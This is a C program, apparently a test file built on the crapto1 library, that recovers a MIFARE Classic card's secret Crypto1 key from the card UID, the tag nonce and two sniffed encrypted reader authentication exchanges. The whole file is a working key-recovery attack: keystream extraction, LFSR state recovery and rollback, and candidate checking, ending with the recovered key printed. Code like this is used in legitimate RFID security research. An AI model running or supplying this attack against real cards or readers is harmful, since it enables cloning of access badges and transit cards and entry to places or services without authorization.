cda056bb |
1 | #define __STDC_FORMAT_MACROS |
2 | #include <inttypes.h> |
3 | #define llx PRIx64 |
4 | #define lli PRIi64 |
5 | |
6 | // Test-file: test2.c |
7 | #include "crapto1.h" |
8 | #include <stdio.h> |
9 | #include <stdlib.h> |
10 | |
11 | int main (int argc, char *argv[]) { |
12 | struct Crypto1State *s,*t; |
13 | uint64_t key; // recovered key |
14 | uint32_t uid; // serial number |
15 | uint32_t nt; // tag challenge |
16 | uint32_t nr0_enc; // first encrypted reader challenge |
17 | uint32_t ar0_enc; // first encrypted reader response |
18 | uint32_t nr1_enc; // second encrypted reader challenge |
19 | uint32_t ar1_enc; // second encrypted reader response |
20 | uint32_t ks2; // keystream used to encrypt reader response |
21 | |
22 | printf("MIFARE Classic key recovery - based 32 bits of keystream\n"); |
23 | printf("Recover key from two 32-bit reader authentication answers only!\n\n"); |
24 | |
25 | if (argc < 7) { |
26 | printf(" syntax: %s <uid> <nt> <{nr_0}> <{ar_0}> <{nr_1}> <{ar_1}>\n\n",argv[0]); |
27 | return 1; |
28 | } |
29 | |
30 | sscanf(argv[1],"%x",&uid); |
31 | sscanf(argv[2],"%x",&nt); |
32 | sscanf(argv[3],"%x",&nr0_enc); |
33 | sscanf(argv[4],"%x",&ar0_enc); |
34 | sscanf(argv[5],"%x",&nr1_enc); |
35 | sscanf(argv[6],"%x",&ar1_enc); |
36 | |
37 | printf("Recovering key for:\n"); |
38 | printf(" uid: %08x\n",uid); |
39 | printf(" nt: %08x\n",nt); |
40 | printf(" {nr_0}: %08x\n",nr0_enc); |
41 | printf(" {ar_0}: %08x\n",ar0_enc); |
42 | printf(" {nr_1}: %08x\n",nr1_enc); |
43 | printf(" {ar_1}: %08x\n",ar1_enc); |
44 | |
45 | // Generate lfsr succesors of the tag challenge |
46 | printf("\nLFSR succesors of the tag challenge:\n"); |
47 | printf(" nt': %08x\n",prng_successor(nt, 64)); |
48 | printf(" nt'': %08x\n",prng_successor(nt, 96)); |
49 | |
50 | // Extract the keystream from the messages |
51 | printf("\nKeystream used to generate {ar} and {at}:\n"); |
52 | ks2 = ar0_enc ^ prng_successor(nt, 64); |
53 | printf(" ks2: %08x\n",ks2); |
54 | |
55 | s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0); |
56 | |
57 | for(t = s; t->odd | t->even; ++t) { |
58 | lfsr_rollback_word(t, 0, 0); |
59 | lfsr_rollback_word(t, nr0_enc, 1); |
60 | lfsr_rollback_word(t, uid ^ nt, 0); |
61 | crypto1_get_lfsr(t, &key); |
62 | crypto1_word(t, uid ^ nt, 0); |
63 | crypto1_word(t, nr1_enc, 1); |
64 | if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) { |
65 | printf("\nFound Key: [%012"llx"]\n\n",key); |
66 | break; |
67 | } |
68 | } |
69 | free(s); |
70 | |
71 | return 0; |
72 | } |